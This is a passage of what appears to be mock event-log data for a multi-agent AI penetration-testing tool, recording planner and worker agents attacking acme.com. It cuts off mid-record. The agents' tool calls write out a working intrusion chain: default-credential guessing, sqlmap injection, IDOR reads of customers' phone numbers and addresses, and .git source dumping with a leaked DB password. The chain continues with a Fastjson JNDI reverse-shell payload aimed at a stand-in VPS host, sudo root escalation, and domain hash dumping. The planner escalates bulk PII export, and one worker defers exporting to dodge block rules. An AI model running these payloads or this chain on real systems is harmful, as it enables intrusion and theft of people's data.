kind: "tool_use",
|
||
tool: "list_findings",
|
||
tool_use_id: "p3-lf",
|
||
summary: "list_findings：比对 DC01 失陷的确凿证据",
|
||
},
|
||
{
|
||
seq: 1303,
|
||
worker: "planner",
|
||
ts: T("2026-07-26T00:25:40Z"),
|
||
kind: "tool_result",
|
||
tool: "list_findings",
|
||
tool_use_id: "p3-lf",
|
||
summary:
|
||
"F-09「完全控制域控制器 DC01 / 用 secretsdump 导出整个域哈希」critical（证据：psexec svc_deploy@10.10.10.10 + NTDS.dit dump）；上游链 fa9→fa10→i13 完整",
|
||
},
|
||
{
|
||
seq: 1304,
|
||
worker: "planner",
|
||
ts: T("2026-07-26T00:25:52Z"),
|
||
kind: "tool_use",
|
||
tool: "prove_goal",
|
||
tool_use_id: "p3-pg",
|
||
summary: "prove_goal(g4, evidence=F-09)",
|
||
detail:
|
||
"reason：Jenkins 泄露 svc_deploy(Domain Admin) → 用 psexec 控制 DC01 → 以 secretsdump 导出整个域哈希，F-09 确认，达成「控制内网目标域控制器 DC01」。",
|
||
},
|
||
{
|
||
seq: 1305,
|
||
worker: "planner",
|
||
ts: T("2026-07-26T00:25:54Z"),
|
||
kind: "tool_result",
|
||
tool: "prove_goal",
|
||
tool_use_id: "p3-pg",
|
||
summary: "goal g4 → met；系统提示：g2 仍为 open 且非最后一个目标，故整体作业尚未结束",
|
||
},
|
||
{
|
||
seq: 1306,
|
||
worker: "planner",
|
||
ts: T("2026-07-26T00:26:10Z"),
|
||
kind: "text",
|
||
summary:
|
||
"g4 收尾，内·外网路径已完全打通(外网 RCE → DMZ → 内网 → 域控制器)。逐一比对未覆盖方向。g2「查阅用户敏感数据」还差最后一步，但既有 i3(后台用户端点) + i5(API IDOR) 已覆盖该方向且均为 running。本轮不存在【本质不同的未覆盖新方向】，故遵循克制原则，新增意图 0，等待 i3/i5 的产出。",
|
||
},
|
||
|
||
// ── 第 4 轮 · 后台达成，收敛 g2（2026-07-26 03:55）──
|
||
{
|
||
seq: 1400,
|
||
worker: "planner",
|
||
ts: T("2026-07-26T03:55:00Z"),
|
||
kind: "round",
|
||
summary: "第 4 轮 · 后台达成，g2 收敛",
|
||
},
|
||
{
|
||
seq: 1401,
|
||
worker: "planner",
|
||
ts: T("2026-07-26T03:55:14Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"recent_facts 比对：work#2 用 faCreds 的 Acme@2021 命中 admin 后台(i2 done)，取得后台管理权限。g1 验收达成，先用 prove_goal 确认。随后进行【定量验收比对】。g2「查阅用户敏感数据」目前 i3/i5 仅触及端点表面，尚未真正获取大量数据，实测未达标，故【禁止】prove_goal，改为提高优先级以补强数据获取意图。",
|
||
},
|
||
{
|
||
seq: 1402,
|
||
worker: "planner",
|
||
ts: T("2026-07-26T03:55:26Z"),
|
||
kind: "tool_use",
|
||
tool: "prove_goal",
|
||
tool_use_id: "p4-pg",
|
||
summary: "prove_goal(g1, evidence=fa1)",
|
||
detail:
|
||
"reason：i2 用外网泄露的硬编码口令 Acme@2021 成功登录 admin 后台(Element-UI)，取得后台管理权限，g1 达成。",
|
||
},
|
||
{
|
||
seq: 1403,
|
||
worker: "planner",
|
||
ts: T("2026-07-26T03:55:28Z"),
|
||
kind: "tool_result",
|
||
tool: "prove_goal",
|
||
tool_use_id: "p4-pg",
|
||
summary: "goal g1 → met；剩余未达成：g2",
|
||
},
|
||
{
|
||
seq: 1404,
|
||
worker: "planner",
|
||
ts: T("2026-07-26T03:55:40Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"g2 定量比对：目标要求「查阅用户敏感数据」，即真正获取大量用户记录。graph_overview 的 findings 中尚不存在「成功导出用户数据」条目，i3/i5 均处于 running 且未回报数据获取结果。实测未达标。严禁以「既已进入后台即大体达成」草率标记为 met，继续派遣意图以弥补差距。",
|
||
},
|
||
{
|
||
seq: 1405,
|
||
worker: "planner",
|
||
ts: T("2026-07-26T03:55:52Z"),
|
||
kind: "tool_use",
|
||
tool: "add_intent",
|
||
tool_use_id: "p4-ai",
|
||
summary: "add_intent × 2（g2 数据获取收敛，优先级上调）",
|
||
detail:
|
||
"intents=[\n { summary: '已完成 admin 后台登录，枚举用户管理/导出端点以批量导出用户敏感字段', asset_ids: [admin], parent_ids: [fa1], priority: 9 },\n { summary: '通过 api.acme.com 订单 IDOR 遍历 order_id 批量导出用户订单/PII', asset_ids: [api], parent_ids: [fa2], priority: 9 },\n]\n注：i3/i5 已处于 running，本轮以更精确的数据获取说明 + 优先级上调(→9)增援，不重复派遣同义意图。",
|
||
},
|
||
{
|
||
seq: 1406,
|
||
worker: "planner",
|
||
ts: T("2026-07-26T03:55:54Z"),
|
||
kind: "tool_result",
|
||
tool: "add_intent",
|
||
tool_use_id: "p4-ai",
|
||
summary: "已更新 2 个 intent → ids=[i3, i5]（优先级升至 9，说明具体化为「大量数据获取」）",
|
||
},
|
||
{
|
||
seq: 1407,
|
||
worker: "planner",
|
||
ts: T("2026-07-26T03:55:58Z"),
|
||
kind: "text",
|
||
summary:
|
||
"g1 达成（4 个中 met 3 个：g1/g3/g4）。g2 严格守住定量验收。仅进入后台不予认定，必须获取大量用户数据才能确认。已将 i3/i5 提升至 priority 9 并具体化为数据获取意图，待 worker 回报后即可结束整体作业。",
|
||
},
|
||
|
||
// work#1 · i1 子域枚举与端口扫描（done）
|
||
{
|
||
seq: 10,
|
||
worker: "work#1",
|
||
intent_id: "i1",
|
||
ts: T("2026-07-24T09:20:00Z"),
|
||
kind: "thinking",
|
||
summary: "先被动侦察子域名，再对存活主机执行端口/服务识别。",
|
||
},
|
||
{
|
||
seq: 11,
|
||
worker: "work#1",
|
||
intent_id: "i1",
|
||
ts: T("2026-07-24T09:20:30Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t11",
|
||
summary: "subfinder -d acme.com -silent | httpx -silent -sc -title",
|
||
},
|
||
{
|
||
seq: 12,
|
||
worker: "work#1",
|
||
intent_id: "i1",
|
||
ts: T("2026-07-24T09:22:10Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t11",
|
||
summary:
|
||
"www.acme.com [200] Acme Corp\nadmin.acme.com [200] Acme Admin 登录\napi.acme.com [401]\nshop.acme.com [200]\nvpn.acme.com [200]",
|
||
detail: "存活子域名 5 个，其中 admin 为后台登录页。",
|
||
},
|
||
{
|
||
seq: 13,
|
||
worker: "work#1",
|
||
intent_id: "i1",
|
||
ts: T("2026-07-24T09:23:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t12",
|
||
summary: "nmap -sV -T4 -p- 203.0.113.10",
|
||
},
|
||
{
|
||
seq: 14,
|
||
worker: "work#1",
|
||
intent_id: "i1",
|
||
ts: T("2026-07-24T09:26:40Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t12",
|
||
summary: "22/tcp ssh OpenSSH 8.9p1\n80/tcp http nginx 1.24.0\n443/tcp https nginx 1.24.0",
|
||
detail: "22/80/443 端口开放。",
|
||
},
|
||
{
|
||
seq: 15,
|
||
worker: "work#1",
|
||
intent_id: "i1",
|
||
ts: T("2026-07-24T09:27:00Z"),
|
||
kind: "tool_use",
|
||
tool: "upsert_asset",
|
||
tool_use_id: "t13",
|
||
summary: "upsert_asset × 6（子域名+服务）",
|
||
},
|
||
{
|
||
seq: 16,
|
||
worker: "work#1",
|
||
intent_id: "i1",
|
||
ts: T("2026-07-24T09:27:01Z"),
|
||
kind: "tool_result",
|
||
tool: "upsert_asset",
|
||
tool_use_id: "t13",
|
||
summary: "6 assets upserted",
|
||
},
|
||
{
|
||
seq: 17,
|
||
worker: "work#1",
|
||
intent_id: "i1",
|
||
ts: T("2026-07-24T09:40:00Z"),
|
||
kind: "result",
|
||
summary: "资产侦察完成并发现后台 admin.acme.com，将结果回写图谱。",
|
||
input_tokens: 96000,
|
||
output_tokens: 6100,
|
||
cache_read_tokens: 61000,
|
||
cache_write_tokens: 9000,
|
||
},
|
||
|
||
// work#2 · i2 后台默认口令（done，证明 g1）
|
||
{
|
||
seq: 20,
|
||
worker: "work#2",
|
||
intent_id: "i2",
|
||
ts: T("2026-07-26T03:31:00Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"后台为 Element-UI，登录端点既无验证码也无限速。先尝试默认口令列表，再进行字典爆破。",
|
||
},
|
||
{
|
||
seq: 21,
|
||
worker: "work#2",
|
||
intent_id: "i2",
|
||
ts: T("2026-07-26T03:32:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t21",
|
||
summary: "curl -s -d 'username=admin&password=admin' https://admin.acme.com/login -o /dev/null -w '%{http_code}'",
|
||
},
|
||
{
|
||
seq: 22,
|
||
worker: "work#2",
|
||
intent_id: "i2",
|
||
ts: T("2026-07-26T03:32:03Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t21",
|
||
summary: "401",
|
||
detail: "admin/admin 失败。",
|
||
},
|
||
{
|
||
seq: 23,
|
||
worker: "work#2",
|
||
intent_id: "i2",
|
||
ts: T("2026-07-26T03:32:30Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t22",
|
||
summary: "curl -si -d 'username=admin&password=admin123' https://admin.acme.com/login",
|
||
},
|
||
{
|
||
seq: 24,
|
||
worker: "work#2",
|
||
intent_id: "i2",
|
||
ts: T("2026-07-26T03:32:33Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t22",
|
||
summary: "HTTP/1.1 302 Found\nSet-Cookie: session=eyJ…; HttpOnly\nLocation: /dashboard",
|
||
detail: "admin/admin123 登录成功，取得会话 cookie。",
|
||
},
|
||
{
|
||
seq: 25,
|
||
worker: "work#2",
|
||
intent_id: "i2",
|
||
ts: T("2026-07-26T03:33:10Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t23",
|
||
summary: "curl -s -b 'session=eyJ…' https://admin.acme.com/dashboard | grep -o '<title>[^<]*'",
|
||
},
|
||
{
|
||
seq: 26,
|
||
worker: "work#2",
|
||
intent_id: "i2",
|
||
ts: T("2026-07-26T03:33:12Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t23",
|
||
summary: "<title>Acme Admin · 控制台",
|
||
detail: "确认已进入后台控制台。",
|
||
},
|
||
{
|
||
seq: 27,
|
||
worker: "work#2",
|
||
intent_id: "i2",
|
||
ts: T("2026-07-26T03:34:00Z"),
|
||
kind: "tool_use",
|
||
tool: "report_finding",
|
||
tool_use_id: "t24",
|
||
summary: "report_finding(Default Credentials, high)",
|
||
},
|
||
{
|
||
seq: 28,
|
||
worker: "work#2",
|
||
intent_id: "i2",
|
||
ts: T("2026-07-26T03:34:01Z"),
|
||
kind: "tool_result",
|
||
tool: "report_finding",
|
||
tool_use_id: "t24",
|
||
summary: "记录了 finding f-6，并关联到目标 g1(proves)。",
|
||
},
|
||
{
|
||
seq: 29,
|
||
worker: "work#2",
|
||
intent_id: "i2",
|
||
ts: T("2026-07-26T03:50:00Z"),
|
||
kind: "result",
|
||
summary: "已确认后台默认口令，达成目标 ①。",
|
||
input_tokens: 72000,
|
||
output_tokens: 4800,
|
||
cache_read_tokens: 48000,
|
||
cache_write_tokens: 7200,
|
||
},
|
||
|
||
// work#4 · i4 SQL 注入（done）
|
||
{
|
||
seq: 40,
|
||
worker: "work#4",
|
||
intent_id: "i4",
|
||
ts: T("2026-07-25T22:01:00Z"),
|
||
kind: "thinking",
|
||
summary: "search?q= 结果页会把 q 拼接到标题。先手动插入单引号以观察错误信息。",
|
||
},
|
||
{
|
||
seq: 41,
|
||
worker: "work#4",
|
||
intent_id: "i4",
|
||
ts: T("2026-07-25T22:02:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t41",
|
||
summary: "curl -s \"https://www.acme.com/search?q=1'\" | grep -i 'sql\\|syntax'",
|
||
},
|
||
{
|
||
seq: 42,
|
||
worker: "work#4",
|
||
intent_id: "i4",
|
||
ts: T("2026-07-25T22:02:04Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t41",
|
||
summary: "Unclosed quotation mark ... near '1'.",
|
||
detail: "疑似 MSSQL 报错型注入。",
|
||
},
|
||
{
|
||
seq: 43,
|
||
worker: "work#4",
|
||
intent_id: "i4",
|
||
ts: T("2026-07-25T22:03:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t42",
|
||
summary: "sqlmap -u 'https://www.acme.com/search?q=1' --batch --dbs --level 2",
|
||
},
|
||
{
|
||
seq: 44,
|
||
worker: "work#4",
|
||
intent_id: "i4",
|
||
ts: T("2026-07-26T01:18:00Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t42",
|
||
summary:
|
||
"Parameter: q (GET) — error-based, MSSQL\navailable databases [4]: acme_prod, information_schema, master, tempdb",
|
||
detail: "确认可注入，并枚举出 4 个数据库。",
|
||
},
|
||
{
|
||
seq: 45,
|
||
worker: "work#4",
|
||
intent_id: "i4",
|
||
ts: T("2026-07-26T01:19:00Z"),
|
||
kind: "tool_use",
|
||
tool: "report_finding",
|
||
tool_use_id: "t43",
|
||
summary: "report_finding(SQL Injection, high)",
|
||
},
|
||
{
|
||
seq: 46,
|
||
worker: "work#4",
|
||
intent_id: "i4",
|
||
ts: T("2026-07-26T01:19:01Z"),
|
||
kind: "tool_result",
|
||
tool: "report_finding",
|
||
tool_use_id: "t43",
|
||
summary: "记录了 finding f-1。",
|
||
},
|
||
{
|
||
seq: 47,
|
||
worker: "work#4",
|
||
intent_id: "i4",
|
||
ts: T("2026-07-26T01:20:00Z"),
|
||
kind: "result",
|
||
summary: "确认存在 SQL 注入。",
|
||
input_tokens: 118000,
|
||
output_tokens: 7400,
|
||
cache_read_tokens: 82000,
|
||
cache_write_tokens: 11000,
|
||
},
|
||
|
||
// work#5 · i5 IDOR（running）
|
||
{
|
||
seq: 50,
|
||
worker: "work#5",
|
||
intent_id: "i5",
|
||
ts: T("2026-07-26T02:31:00Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"/v1/orders?id= 为数字自增 id，是典型的 IDOR 面。先查询自己的订单，再修改 id 看能否读取他人订单。",
|
||
},
|
||
{
|
||
seq: 51,
|
||
worker: "work#5",
|
||
intent_id: "i5",
|
||
ts: T("2026-07-26T02:40:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t51",
|
||
summary: "curl -s -H 'Authorization: Bearer <self>' https://api.acme.com/v1/orders?id=1001",
|
||
},
|
||
{
|
||
seq: 52,
|
||
worker: "work#5",
|
||
intent_id: "i5",
|
||
ts: T("2026-07-26T02:40:02Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t51",
|
||
summary: '{ "order_id":1001, "user_id":42, "amount":299 }',
|
||
detail: "是本人订单，正常。",
|
||
},
|
||
{
|
||
seq: 53,
|
||
worker: "work#5",
|
||
intent_id: "i5",
|
||
ts: T("2026-07-26T02:43:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t52",
|
||
summary: "curl -s -H 'Authorization: Bearer <self>' https://api.acme.com/v1/orders?id=1002",
|
||
},
|
||
{
|
||
seq: 54,
|
||
worker: "work#5",
|
||
intent_id: "i5",
|
||
ts: T("2026-07-26T02:43:02Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t52",
|
||
summary: '{ "order_id":1002, "user_id":77, "amount":1299, "phone":"138****6021", "address":"北京市朝阳区 ****" }',
|
||
detail: "通过权限绕过读取了他人订单（含手机号/地址），且无属主校验。",
|
||
},
|
||
{
|
||
seq: 55,
|
||
worker: "work#5",
|
||
intent_id: "i5",
|
||
ts: T("2026-07-26T02:44:00Z"),
|
||
kind: "tool_use",
|
||
tool: "report_finding",
|
||
tool_use_id: "t53",
|
||
summary: "report_finding(IDOR, high)",
|
||
},
|
||
{
|
||
seq: 56,
|
||
worker: "work#5",
|
||
intent_id: "i5",
|
||
ts: T("2026-07-26T02:44:01Z"),
|
||
kind: "tool_result",
|
||
tool: "report_finding",
|
||
tool_use_id: "t53",
|
||
summary: "记录了 finding f-2。",
|
||
},
|
||
{
|
||
seq: 57,
|
||
worker: "work#5",
|
||
intent_id: "i5",
|
||
ts: T("2026-07-26T03:58:10Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"正在批量遍历 id 范围，评估可通过权限绕过访问的数据规模（暂不导出，避免触发拦截规则）。",
|
||
},
|
||
|
||
// work#3 · i3 后台用户接口枚举（running）
|
||
{
|
||
seq: 60,
|
||
worker: "work#3",
|
||
intent_id: "i3",
|
||
ts: T("2026-07-26T03:56:00Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"已取得后台会话，枚举管理端点，寻找可大量导出用户敏感数据的入口（目标 ②）。",
|
||
},
|
||
{
|
||
seq: 61,
|
||
worker: "work#3",
|
||
intent_id: "i3",
|
||
ts: T("2026-07-26T03:57:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t61",
|
||
summary: "curl -s -b 'session=eyJ…' https://admin.acme.com/api/users?page=1",
|
||
},
|
||
{
|
||
seq: 62,
|
||
worker: "work#3",
|
||
intent_id: "i3",
|
||
ts: T("2026-07-26T03:57:02Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t61",
|
||
summary: '{ "total": 12840, "items": [ { "id":1, "email":"a***@acme.com", "phone":"139****" } ] }',
|
||
detail: "管理端点可按页返回全部用户（含邮箱/手机号），约 12,800 条。",
|
||
},
|
||
{
|
||
seq: 63,
|
||
worker: "work#3",
|
||
intent_id: "i3",
|
||
ts: T("2026-07-26T03:58:20Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"确认存在大量读取用户数据的入口。导出操作命中破坏性/泄露规则，已提交拦截审批并等待通过。",
|
||
},
|
||
|
||
// workG · ig .git 源码泄露与硬编码凭据（done）
|
||
{
|
||
seq: 310,
|
||
worker: "workG",
|
||
intent_id: "ig",
|
||
ts: T("2026-07-25T20:26:00Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"robots.txt 提及 /.git。先探测该目录能否下载，取得源码后即可白盒寻找注入点与硬编码密钥。",
|
||
},
|
||
{
|
||
seq: 311,
|
||
worker: "workG",
|
||
intent_id: "ig",
|
||
ts: T("2026-07-25T20:27:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "tg1",
|
||
summary: "curl -s -o /dev/null -w '%{http_code}' https://www.acme.com/.git/HEAD",
|
||
},
|
||
{
|
||
seq: 312,
|
||
worker: "workG",
|
||
intent_id: "ig",
|
||
ts: T("2026-07-25T20:27:02Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "tg1",
|
||
summary: "200",
|
||
detail: ".git 目录可被外部访问。",
|
||
},
|
||
{
|
||
seq: 313,
|
||
worker: "workG",
|
||
intent_id: "ig",
|
||
ts: T("2026-07-25T20:28:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "tg2",
|
||
summary: "git-dumper https://www.acme.com/.git/ /tmp/acme && git -C /tmp/acme log --oneline | head",
|
||
},
|
||
{
|
||
seq: 314,
|
||
worker: "workG",
|
||
intent_id: "ig",
|
||
ts: T("2026-07-25T20:30:00Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "tg2",
|
||
summary: "已还原 214 个文件；HEAD=main。config.php / db.php 在列表中。",
|
||
detail: "已将后端源码完整还原到 /tmp/acme。",
|
||
},
|
||
{
|
||
seq: 315,
|
||
worker: "workG",
|
||
intent_id: "ig",
|
||
ts: T("2026-07-25T20:34:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "tg3",
|
||
summary: "grep -rniE 'password|pwd|secret|Data Source' /tmp/acme/config.php",
|
||
},
|
||
{
|
||
seq: 316,
|
||
worker: "workG",
|
||
intent_id: "ig",
|
||
ts: T("2026-07-25T20:34:03Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "tg3",
|
||
summary: "$db_user='sa'; $db_pass='Acme@2021'; $db_host='10.10.10.30';",
|
||
detail:
|
||
"数据库口令硬编码，且 host 指向内网 IP。记录为推定内网通用的凭据。",
|
||
},
|
||
{
|
||
seq: 317,
|
||
worker: "workG",
|
||
intent_id: "ig",
|
||
ts: T("2026-07-25T20:36:00Z"),
|
||
kind: "result",
|
||
summary:
|
||
"确认源码泄露与硬编码数据库凭据，并将凭据写入图谱以便后续在内网复用。",
|
||
input_tokens: 88000,
|
||
output_tokens: 5200,
|
||
cache_read_tokens: 60000,
|
||
cache_write_tokens: 8000,
|
||
},
|
||
|
||
// work#6 · i6 shop 指纹与 CVE 关联（done）
|
||
{
|
||
seq: 320,
|
||
worker: "work#6",
|
||
intent_id: "i6",
|
||
ts: T("2026-07-25T14:22:00Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"shop.acme.com 为自研电商，先对框架·组件版本做指纹识别，再攻陷存在已知反序列化漏洞的组件。",
|
||
},
|
||
{
|
||
seq: 321,
|
||
worker: "work#6",
|
||
intent_id: "i6",
|
||
ts: T("2026-07-25T14:24:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t6a",
|
||
summary: "curl -si https://shop.acme.com/ | grep -iE 'x-powered-by|server|jsessionid'",
|
||
},
|
||
{
|
||
seq: 322,
|
||
worker: "work#6",
|
||
intent_id: "i6",
|
||
ts: T("2026-07-25T14:24:03Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t6a",
|
||
summary: "X-Powered-By: Servlet\nSet-Cookie: JSESSIONID=...",
|
||
detail: "为 Java 技术栈，存在接收 JSON body 的 /api/import 端点。",
|
||
},
|
||
{
|
||
seq: 323,
|
||
worker: "work#6",
|
||
intent_id: "i6",
|
||
ts: T("2026-07-25T14:30:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t6b",
|
||
summary:
|
||
'curl -s -H \'Content-Type: application/json\' -d \'{"a":{"@type":"java.lang.AutoCloseable"}}\' https://shop.acme.com/api/import',
|
||
},
|
||
{
|
||
seq: 324,
|
||
worker: "work#6",
|
||
intent_id: "i6",
|
||
ts: T("2026-07-25T14:31:00Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t6b",
|
||
summary: "错误堆栈中包含 com.alibaba.fastjson.JSONException (1.2.24)",
|
||
detail: "确认 Fastjson 1.2.24，对应 JdbcRowSetImpl JNDI 注入 RCE。",
|
||
},
|
||
{
|
||
seq: 325,
|
||
worker: "work#6",
|
||
intent_id: "i6",
|
||
ts: T("2026-07-25T14:40:00Z"),
|
||
kind: "result",
|
||
summary: "指纹命中 Fastjson 1.2.24，反序列化 RCE 攻击面成立，转入利用意图。",
|
||
input_tokens: 64000,
|
||
output_tokens: 4100,
|
||
cache_read_tokens: 42000,
|
||
cache_write_tokens: 6000,
|
||
},
|
||
|
||
// work#7 · i7 反序列化 RCE 拿反弹 shell（done，证明 g3）
|
||
{
|
||
seq: 330,
|
||
worker: "work#7",
|
||
intent_id: "i7",
|
||
ts: T("2026-07-25T15:12:00Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"启动一个 JNDI/LDAP 恶意服务，诱使 shop 反向连接以加载·执行 payload，先用 dnslog 确认外部通信再取得反弹 shell。",
|
||
},
|
||
{
|
||
seq: 331,
|
||
worker: "work#7",
|
||
intent_id: "i7",
|
||
ts: T("2026-07-25T15:15:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t7a",
|
||
summary: "java -jar JNDIExploit.jar -i <vps> -l 1389 & # 启动 LDAP/HTTP 恶意服务",
|
||
},
|
||
{
|
||
seq: 332,
|
||
worker: "work#7",
|
||
intent_id: "i7",
|
||
ts: T("2026-07-25T15:16:00Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t7a",
|
||
summary: "LDAP Server started on 1389, HTTP on 8180",
|
||
detail: "恶意服务已就绪。",
|
||
},
|
||
{
|
||
seq: 333,
|
||
worker: "work#7",
|
||
intent_id: "i7",
|
||
ts: T("2026-07-25T15:20:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t7b",
|
||
summary:
|
||
'curl -s -H \'Content-Type: application/json\' -d \'{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://<vps>:1389/Basic/ReverseShell/<vps>/4444","autoCommit":true}\' https://shop.acme.com/api/import',
|
||
},
|
||
{
|
||
seq: 334,
|
||
worker: "work#7",
|
||
intent_id: "i7",
|
||
ts: T("2026-07-25T15:21:00Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t7b",
|
||
summary: "LDAP 收到请求 → 加载 ReverseShell → nc 监听器接收连接",
|
||
detail: "payload 已成功触发。",
|
||
},
|
||
{
|
||
seq: 335,
|
||
worker: "work#7",
|
||
intent_id: "i7",
|
||
ts: T("2026-07-25T15:24:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t7c",
|
||
summary: "id; hostname -I # 在反弹 shell 中确认身份与网段",
|
||
},
|
||
{
|
||
seq: 336,
|
||
worker: "work#7",
|
||
intent_id: "i7",
|
||
ts: T("2026-07-25T15:24:02Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t7c",
|
||
summary: "uid=33(www-data) gid=33 groups=33\n10.0.20.15 10.10.10.15",
|
||
detail: "为 www-data@dmz-web01，第二块网卡为 10.10.10.x。已进入 DMZ 并临近内网。",
|
||
},
|
||
{
|
||
seq: 337,
|
||
worker: "work#7",
|
||
intent_id: "i7",
|
||
ts: T("2026-07-25T15:30:00Z"),
|
||
kind: "tool_use",
|
||
tool: "report_finding",
|
||
tool_use_id: "t7d",
|
||
summary: "report_finding(Deserialization RCE, high)",
|
||
},
|
||
{
|
||
seq: 338,
|
||
worker: "work#7",
|
||
intent_id: "i7",
|
||
ts: T("2026-07-25T15:40:00Z"),
|
||
kind: "result",
|
||
summary: "通过反序列化 RCE 取得 www-data 反弹 shell，初步建立目标 ③ 据点。",
|
||
input_tokens: 132000,
|
||
output_tokens: 8600,
|
||
cache_read_tokens: 90000,
|
||
cache_write_tokens: 12000,
|
||
},
|
||
|
||
// work#8 · i8 立足点提权（done）
|
||
{
|
||
seq: 340,
|
||
worker: "work#8",
|
||
intent_id: "i8",
|
||
ts: T("2026-07-25T16:02:00Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"www-data 权限有限，先做本地信息收集寻找提权点：sudo 配置、SUID、内核版本。",
|
||
},
|
||
{
|
||
seq: 341,
|
||
worker: "work#8",
|
||
intent_id: "i8",
|
||
ts: T("2026-07-25T16:05:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t8a",
|
||
summary: "sudo -n -l 2>/dev/null; find / -perm -4000 -type f 2>/dev/null | head",
|
||
},
|
||
{
|
||
seq: 342,
|
||
worker: "work#8",
|
||
intent_id: "i8",
|
||
ts: T("2026-07-25T16:05:03Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t8a",
|
||
summary: "User www-data may run: (ALL) NOPASSWD: /usr/bin/python3",
|
||
detail: "sudo 白名单中有 python3 且免密，可立即提权。",
|
||
},
|
||
{
|
||
seq: 343,
|
||
worker: "work#8",
|
||
intent_id: "i8",
|
||
ts: T("2026-07-25T16:10:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t8b",
|
||
summary: "sudo python3 -c 'import os;os.setuid(0);os.system(\"id\")'",
|
||
},
|
||
{
|
||
seq: 344,
|
||
worker: "work#8",
|
||
intent_id: "i8",
|
||
ts: T("2026-07-25T16:10:02Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t8b",
|
||
summary: "uid=0(root) gid=0(root) groups=0(root)",
|
||
detail: "已提权至 root。",
|
||
},
|
||
{
|
||
seq: 345,
|
||
worker: "work#8",
|
||
intent_id: "i8",
|
||
ts: T("2026-07-25T16:14:00Z"),
|
||
kind: "tool_use",
|
||
tool: "report_finding",
|
||
tool_use_id: "t8c",
|
||
summary: "report_finding(Privilege Escalation, high)",
|
||
},
|
||
{
|
||
seq: 346,
|
||
worker: "work#8",
|
||
intent_id: "i8",
|
||
ts: T("2026-07-25T16:20:00Z"),
|
||
kind: "result",
|
||
summary: "本地 root 提权完成，据点已稳固，准备以其为跳板进攻内网。",
|
||
input_tokens: 74000,
|
||
output_tokens: 4700,
|
||
cache_read_tokens: 50000,
|
||
cache_write_tokens: 7000,
|
||
},
|
||
|
||
// work#9 · i9 内网主机发现（done）
|
||
{
|
||
seq: 350,
|
||
worker: "work#9",
|
||
intent_id: "i9",
|
||
ts: T("2026-07-25T20:32:00Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"据点直连 10.10.10.0/24，故用 fscan·内网扫描发现主机·端口，并锁定域控制器与高价值主机。",
|
||
},
|
||
{
|
||
seq: 351,
|
||
worker: "work#9",
|
||
intent_id: "i9",
|
||
ts: T("2026-07-25T20:36:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t9a",
|
||
summary: "./fscan -h 10.10.10.0/24 -np -nobr 2>&1 | tail -n 30",
|
||
},
|
||
{
|
||
seq: 352,
|
||
worker: "work#9",
|
||
